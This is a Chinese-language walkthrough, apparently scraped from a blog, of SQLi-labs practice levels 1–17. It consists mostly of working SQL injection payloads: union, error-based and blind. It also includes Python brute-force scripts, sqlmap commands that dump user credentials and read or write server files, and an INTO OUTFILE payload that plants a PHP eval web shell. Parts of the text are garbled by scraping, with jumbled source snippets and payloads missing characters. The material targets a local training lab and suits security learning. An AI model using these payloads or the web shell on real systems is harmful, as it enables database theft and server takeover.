全网最全sqli 您所在的位置:网站首页 php网站开发教程答案详解 全网最全sqli

全网最全sqli

2024-05-08 02:50| 来源: 网络整理| 查看: 265

环境搭建

Sqli-labs是一个帮你总结大部分SQL注入漏洞类型的靶场,学习SQL注入漏洞原理,复现SQL注入漏洞必备靶场环境,玩起来吧!SQLi-LABS项目地址:https://github.com/Audi-1/sqli-labs,经过美化的项目地址:https://github.com/himadriganguly/sqlilabs,可以使用phpstudy或者web环境直接搭建运行,具体搭建步骤可以参考另一篇文章SQL注入靶场之sqlilabs搭建指南

第一关 基于错误的GET单引号字符型注入存在注入点判断加上单引号报错代码语言:javascript复制http://localhost/sqlilabs/practice/example1.php?id=1'加上注释符页面正常代码语言:javascript复制http://localhost/sqlilabs/practice/example1.php?id=1' %23注释方式# 号注释%23 注释--+ 注释判断字段数(使用order by)代码语言:javascript复制http://localhost/sqlilabs/practice/example1.php?id=1' order by 3%23 # 正常 http://localhost/sqlilabs/practice/example1.php?id=1' order by 4%23 # 页面显示错误 说明字段数为3执行注入Payload代码语言:javascript复制# 判断显示的信息点,通过id=-1来执行联合查询 http://localhost/sqlilabs/practice/example1.php?id=-1' union select 1,2,3%23常用查询信息database() # 在用的数据库名user() # 用户信息version() # 数据库版本信息@@basedir # 数据库安装路径@@version_compile_os # 操作系统版本查看数据库数据查看表名称 group_concat函数:将查询到的多行结果连接成字符串代码语言:javascript复制http://localhost/sqlilabs/practice/example1.php?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+查看列名代码语言:javascript复制http://localhost/sqlilabs/practice/example1.php?id=-1' UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_schema ='sqlilabs' AND table_name='users' --+查看字段代码语言:javascript复制http://localhost/sqlilabs/practice/example1.php?id=-1' UNION SELECT 1,group_concat(username SEPARATOR '-'),group_concat(password SEPARATOR '-') FROM users --+

将整个表内容显示出来了

sqlmap 注入常用命令代码语言:javascript复制``` sqlmap -u “注入地址” -v 1 –-dbs # 列举数据库 sqlmap -u “注入地址” -v 1 –-current-db # 当前数据库 sqlmap -u “注入地址” -v 1 –-users # 列数据库用户 sqlmap -u “注入地址” -v 1 -D “数据库” –-tables # 列举数据库的表名 sqlmap.py -u “注入地址” -v 1 -T “表名” -D “数据库” –-columns # 获取表的列名 sqlmap.py -u “注入地址” -v 1 -T “表名” -D “数据库” -C “字段” –-dump # 获取表中的数据 ```注意的点B:Boolean-based-blind (布尔型注入)U:Union query-based (联合注入)E:Error-based (报错型注入)S:Starked queries (通过sqlmap读取文件系统、操作系统、注册表必须 使用该参数,可多语句查询注入)T:Time-based blind (基于时间延迟注入)-–batch 默认选项运行--dbs 爆破数据库-–technique 指定sqlmap使用的检测技术 sqlmap -u "http://localhost/Less-1/?id=1" --dbs --batch --technique B第二关 基于错误的GET整型注入存在注入点判断加上单引号报错代码语言:javascript复制http://localhost/sqlilabs2/Less-2/index.php?id=1'--+加上and 1=1 页面正常代码语言:javascript复制http://localhost/sqlilabs2/Less-2/index.php?id=1 and 1=1--+加上and 12=2 页面不正常代码语言:javascript复制http://localhost/sqlilabs2/Less-2/index.php?id=1 and 12=2--+

说明执行了传入的payload,存在注入

判断字段数代码语言:javascript复制http://localhost/sqlilabs2/Less-2/index.php?id=1 order by 3--+ # 正常 http://localhost/sqlilabs2/Less-2/index.php?id=1 order by 4--+ # 页面显示错误 说明字段数为3查询表名代码语言:javascript复制http://localhost/sqlilabs2/Less-2/index.php?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database()--+查询字段名代码语言:javascript复制http://localhost/sqlilabs2/Less-2/index.php?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' --+直接查询数据库数据代码语言:javascript复制http://localhost/sqlilabs2/Less-2/index.php?id=-1 union select 1,group_concat(username),group_concat(password) from users --+第三关 基于错误的GET单引号变形注入存在注入点判断

加上单引号报错,发现存在)

代码语言:javascript复制http://localhost/sqlilabs2/Less-3/index.php?id=1') and 1=2 --+ # 报错 http://localhost/sqlilabs2/Less-3/index.php?id=1') and 1=1 --+ # 正常

直接上payload,将数据库脱出

代码语言:javascript复制 http://localhost/sqlilabs2/Less-3/index.php?id=-1') union select 1,group_concat(username),group_concat(password) from users --+第四关 基于错误的GET双引号字符型注入存在注入点判断

加上双引号报错,发现存在"

代码语言:javascript复制http://localhost/sqlilabs2/Less-4/index.php?id=1") and 1=2 --+ # 报错 http://localhost/sqlilabs2/Less-4/index.php?id=1") and 1=1 --+ # 正常

直接上payload,将数据库脱出

代码语言:javascript复制 http://localhost/sqlilabs2/Less-4/index.php?id=-1") union select 1,group_concat(username),group_concat(password) from users--+SQLMAP注入

直接上payload 1-4关皆可以用该命令

代码语言:javascript复制sqlmap -u "http://localhost/sqlilabs2/Less-2/index.php?id=1" --batch -D security -T users --columns --dump源代码分析直接贴源码代码语言:javascript复制 由源码看出对GET传入的参数未做任何过滤,并打印出错误信息,直接在数据库中查询,导致可以将payload传入拼接执行sql="SELECT * FROM users WHERE id='sql="SELECT * FROM users WHERE id=sql="SELECT * FROM users WHERE id=('sql="SELECT * FROM users WHERE id=("第四题SQL语句第三题SQL语句第二题SQL语句第一题SQL语句通过源代码可以更加清晰的理解payload的构造思路第五关 基于GET单引号双注入存在注入点判断输入单引号测试,有报错信息,返回信息和第一关错误信息一样不管输入id为多少,页面一直都是 you are in ....猜测正确的页面不变,不会将查询结果打印到页面了,查看源码发现,确实是不输出结果了代码语言:javascript复制$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result); if($row) { echo ''; echo 'You are in...........'; echo ""; echo ""; } else { echo ''; print_r(mysql_error()); echo ""; echo ''; } } else { echo "Please input the ID as parameter with numeric value";}

但是会把错误的信息给打印出来

所以应该用到双注入(也称报错注入),在错误中把要的信息打印出来报错注入方式(十种)

该注入原理可以查找资料,注入方式的有资料可以点击查看,如下只列举常遇到的十种报错注入的方式

floor函数注入 select * from test where id=1 and (select 1 from (select count(),concat(user(),floor(rand(0)2))x from information_schema.tables group by x)a); http://localhost/sqlilabs2/Less-5/index.php?id=-1' union select 1,count(),concat((floor(rand(0)2)),'--',(select concat(id,'-',username,'-',password) from security.users limit 0,1))x from information_schema.tables group by x%23 payload是在中间concat部分,修改该部分可以执行不同命令只能用concat连接 ,group_concat不行,且每次只能显示一条数据要让上述的报错实现,数据库至少要3条数据使用注意运用count():查询数量rand():产生0~1间的随机数floor():向下取整group by:按指定分类函数介绍写法extractvalue函数注入使用注意MySQL 5.1.5版本以上才支持该函数返回的数据限制为32位可以用substring函数进行数据位移偏转 http://localhost/sqlilabs2/Less-5/index.php?id=-1' and (extractvalue(1,concat(0x7e,(select substring(group_concat(username),1) from users),0x7e)))--+对XML文档进行查询EXTRACTVALUE (XML_document, XPath_string);第一个参数:XML_document是String格式,为XML文档对象的名称第二个参数:XPath_string (Xpath格式的字符串)作用:从目标XML中返回包含所查询值的字符串函数介绍写法 select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));运用 http://localhost/sqlilabs2/Less-5/index.php?id=-1' and (extractvalue(1,concat(0x7e,(select group_concat(username) from users),0x7e)))--+ updatexml函数注入 MySQL 5.1.5版本以上才支持该函数返回的数据限制为32位可以用substring函数进行数据位移偏转使用注意对XML文档进行修改UPDATEXML (XML_document, XPath_string, new_value);第一个参数:XML_document是String格式,为XML文档对象的名称第二个参数:XPath_string (Xpath格式的字符串)第三个参数:new_value,String格式,替换查找到的符合条件的数据作用:改变文档中符合条件的节点的值函数介绍写法 select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));运用 http://localhost/sqlilabs2/Less-5/index.php?id=-1' and (updatexml(1,concat(0x7e,(select SUBSTRING(group_concat(username),12) from users),0x7e),1))--+geometrycollection函数注入函数介绍写法 select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));运用使用注意multipoint函数注入函数介绍写法 select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));运用使用注意polygon函数注入函数介绍写法 select * from test where id=1 and polygon((select * from(select * from(select user())a)b));运用使用注意multipolygon函数注入函数介绍写法 select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));运用使用注意linestring函数注入函数介绍写法 select * from test where id=1 and linestring((select * from(select * from(select user())a)b));运用使用注意multilinestring函数注入函数介绍写法 select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));运用使用注意exp函数注入函数介绍写法 select * from test where id=1 and exp(~(select * from(select user())a));运用使用注意第六关 基于GET双引号双注入

和第五关类似,只要用双引号闭合即可

http://127.0.0.1/sqlilabs2/Less-6/index.php?id=-1" union select 1,count(),concat((floor(rand(0)2)),'--',(select concat(id,'-',username,'-',password) from security.users limit 0,1))x from information_schema.tables group by x%23

SQLMAP注入

直接上payload(第五六题均可用)

代码语言:javascript复制sqlmap -u "http://127.0.0.1/sqlilabs2/Less-5/index.php?id=1" --technique E -D security -T users --dump --batch第七关 基于文件写入注入存在注入点判断任意输入单引号,会显示报错正常运行提示 Use outfile...... 所以理解为写入mm文件执行通过尝试发现闭合')),通过查看源代码,再次确定闭合成功 sql="SELECT * FROM users WHERE id=(('result=mysql_query(sql);row = mysql_fetch_array(result); if(写入文件配置(使用条件)

secure-file-priv - 如果文件导入不成功,确认Mysql配置文件my.ini下存在secure-file-priv - secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的

secure_file_priv的值为null ,表示限制mysqld不允许导入|导出secure_file_priv的值为/tmp/ ,表示限制mysqld的导入|导出只能发生在/tmp/目录下secure_file_priv的值没有具体值时,表示不对mysqld的导入|导出做限制

mysql使用以下命令查看是否打开文件写入开关

show global variables like '%secure%'

修改my.ini添加secure-file-priv参数,没有填具体值表示不做限制(这样做其实很危险)

重启mysql即可

写入敏感文件

写入一句话木马

http://127.0.0.1/sqlilabs2/Less-7/index.php?id=-1')) union select 1,0x3c3f706870206576616c28245f504f53545b636d645d293b3f3e,3 into outfile "E:\softs\phpstudy_pro\WWW\sqlilabs2\Less-7\mm2.php"--+

写入phpinfo

http://127.0.0.1/sqlilabs2/Less-7/index.php?id=1')) 1,0x3c3f70687020706870696e666f28293b3f3e,3 into outfile "E:\softs\phpstudy_pro\WWW\sqlilabs2\Less-7\pp2.php--+

写入需要注意的

写入的内容需要用hex转码,以防拦截写入的前提需要知道物理文件路径写入的前提是有权限写入,或者有配置写入的权限

可以在文件目录查看发现文件写入成功

同时网页可以直接访问该文件并执行

读取敏感文件前提要有页面输出哦!

http://127.0.0.1/sqlilabs2/Less-3/index.php?id=-1') union select 1,load_file('e:\mm.php'),3--+

SQLMQP 读写文件

文件读取

sqlmap -u "http://127.0.0.1/sqlilabs2/Less-1/index.php?id=1" --file-read "E:\mm.php"

文件写入

sqlmap -u "http://127.0.0.1/sqlilabs2/Less-7/index.php?id=1" --file-write "/home/bb/1.txt" --file-dest "E:\sql2.php" --batch---title: Sqlilabs通关笔记(8-10)盲注date: 2020-01-04 17:20:00tags: SQL注入categories: SQL注入

第八关 基于GET单引号布尔型盲注存在注入点判断通过反斜杠可知,错误和正常页面有区别可以构造payload来进行判断布尔值,从而确定要查询的结果 http://127.0.0.1/sqlilabs2/Less-8/index.php?id=1' and 's'=left(database(),1)--+ 页面正常 说明第一个字母为shttp://127.0.0.1/sqlilabs2/Less-8/index.php?id=1' and 'se'=left(database(),2)--+ 页面正常 第二个字母e...................以此类推可以将数据结果得出利用二分法构造payload import string import requests from time import sleep arlist = string.printable Baseurl = "http://127.0.0.1/sqlilabs2/Less-8/index.php?id=1\' and "ascii() 函数,返回字符ascii码值length() 函数,返回字符串的长度left() 函数,返回从左至右截取固定长度的字符串substr()/substring() 函数 , 返回从pos位置开始到length长度的子字符串if函数,判断条件并作出不同行动参数 : str单字符参数 : str 字符串参数str,lengthstr : 字符串length:截取长度参数,str,pos,lengthstr: 字符串pos:开始位置length:截取长度参数,条件,成立,不成立常用构造函数实例构造 SELECT * from users WHERE id = 1 and (length(database())=8)SELECT * from users WHERE id = 1 and ascii(substr(database(),8,1))SELECT * from users WHERE id = 1 and 's'=left(database(),1)SELECT * from users WHERE id = 1 and if((length(database())=8),1,0)脚本编写代码语言:javascript复制def checkurl(url): res = requests.get(url) if res.ok: if 'You are in' in res.text: return True return False def main(): flag = '' for g in range(100): for i in arlist: payload = "substr((select group_concat(username,password) from users),%s,1) = \'%s\'--+" % ( g, i) finalurl = Baseurl + payload if checkurl(finalurl): flag = flag + str(i) print(flag) sleep(0.2) if __name__ == "__main__": main() ```SQLMAP注入

直接上payload

sqlmap -u "http://127.0.0.1/sqlilabs2/Less-8/index.php?id=1" --technique B -D security -T users -C username,password --dump --threads 10 --batch

第九关 基于GET单引号基于时间盲注存在注入点判断加上反斜杠发现页面并无变化猜测不管语法对错页面都没有变化尝试使用sleep看是否执行布尔盲注和时间盲注的最直观区别就是一个可以通过页面区别来判断对错,一个则无法判断对错,只能通过执行的时间来区别对错查看源码验证布尔盲注和时间盲注布尔源码如下:代码语言:javascript复制$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result); if($row) { echo ''; echo 'You are in...........'; echo ""; echo ""; } else { echo ''; //echo 'You are in...........'; //print_r(mysql_error()); //echo "You have an error in your SQL syntax"; echo ""; echo ''; } } else { echo "Please input the ID as parameter with numeric value";} ?>

时间盲注源码如下

代码语言:javascript复制$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result); if($row) { echo ''; echo 'You are in...........'; echo ""; echo ""; } else { echo ''; echo 'You are in...........'; //print_r(mysql_error()); //echo "You have an error in your SQL syntax"; echo ""; echo ''; } } else { echo "Please input the ID as parameter with numeric value";}布尔注释掉了输出错误信息,而时间盲注不管对错页面都是You are in..尝试构造payload http://127.0.0.1/sqlilabs2/Less-9/index.php?id=1' and if((length(database())=8),sleep(5),1)--+脚本编写 import string import requests from time import sleep arlist = string.printable Baseurl = "http://127.0.0.1/sqlilabs2/Less-9/index.php?id=1\' and "代码语言:javascript复制def checkurl(url): try: res = requests.get(url,timeout = 3) return True except Exception as e: return False def main(): flag = '' for g in range(100): for i in arlist: payload = "if((substr((select group_concat(username,password) from users),%s,1) = \'%s\'),sleep(5),1)--+" % ( g, i) finalurl = Baseurl + payload if checkurl(finalurl): flag = flag + str(i) print(flag) sleep(0.2) if __name__ == "__main__": main() ```第十关 基于GET双引号基于时间盲注存在注入点判断和第九关类似,只不过需要用双引号闭合

payload:

http://127.0.0.1/sqlilabs2/Less-10/index.php?id=1" and if((length(database())=8),sleep(5),1)--+

SQLMAP注入

直接上payload(9-10通用)

sqlmap -u "http://127.0.0.1/sqlilabs2/Less-9/index.php?id=1" --technique T -D security -T users -C username,password --dump --threads 10 --batch

第十一关 基于错误的POST单引号字符型注入

已经显示输入框了,说明是POST提交方式的注入

注入点判断在输入框中输入单引号报错,说明为简单的字符型注入根据之前GET闯关注入的经验,只是换成post提交查看字段数,判断为2个字段

uname=admin' order by 2#&passwd=&submit=Submit 正常uname=admin' order by 3#&passwd=&submit=Submit 不正常

直接上payload

payload直接查出数据库所有数据

uname=-admin' union select group_concat(username,password),2 from users#&passwd=&submit=Submit

第十二关 基于错误的POST双引号字符型注入这关与上一关不同在于需要通过双引号来进行闭合,payload类似

uname=-admin") union select group_concat(username,password),2 from users#&passwd=&submit=Submit

第十三关 基于POST单引号双注入变形通过输入反斜杠报错,可以通过')来进行闭合猜测是报错注入,唯一不同的post传入直接上payload,可以直接导出所有数据

uname=') and (updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1))#&passwd=&submit=Submit

第十四关 基于POST双引号双注入变形与十三关类似,只是需要通过双引号进行闭合直接上payload

uname=" and (updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1))#&passwd=&submit=Submit

第十五关 基于POST单引号布尔型时间盲注使用了\ ’ 等各种姿势网页硬是没有变化可能是时间盲注直接用uname=admin' and sleep(10)#&passwd=1&submit=Submit 发现确是时间盲注直接上sqlmap 或者 写个脚本跑就够了和之前GET时间盲注类似第十六关 基于POST双引号布尔型时间盲注和十五关类似,只是用双引号闭合

uname=admin") and sleep(10)#&passwd=1&submit=Submit

SQLMAP注入通过burpsuit抓取数据包导入进sqlmap进行注入检测以less11为例通过bp抓取数据包选择导出文件为1.txt

如果要指定参数注入检测可以将该参数修改成*

使用sqlmap载入导出的数据包并进行注入检测

sqlmap -r "1.txt" -p uname -D security -T users -C username,password --dump --technique ES --batch --threads 10

也可以使用--data传入post参数

sqlmap -u "http://127.0.0.1/sqlilabs2/Less-15/" -data "uname=admin&passwd=admin&submit=Submit" --batch --threads 10 --technique T --dbs

-r 读取抓包文件-p 需要检测的参数--technique 需要检测的注入方式E 基于报错的注入S 通过sqlmap读取文件系统、操作系统、注册表必须 使用该参数,可多语句查询注入--batch 默认选择--threads 线程数-data 传入post参数(免去抓包)第十七关 基于POST错误的更新注入点判断在passwd直接加反斜杠有报错

uname=admin&passwd=admin&submit=Submit

可以在passwd参数上尝试报错注入界面输入框好像是更新密码的窗口,猜测是对用户输入的密码没有进行检测过滤源码分析代码语言:javascript复制


【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有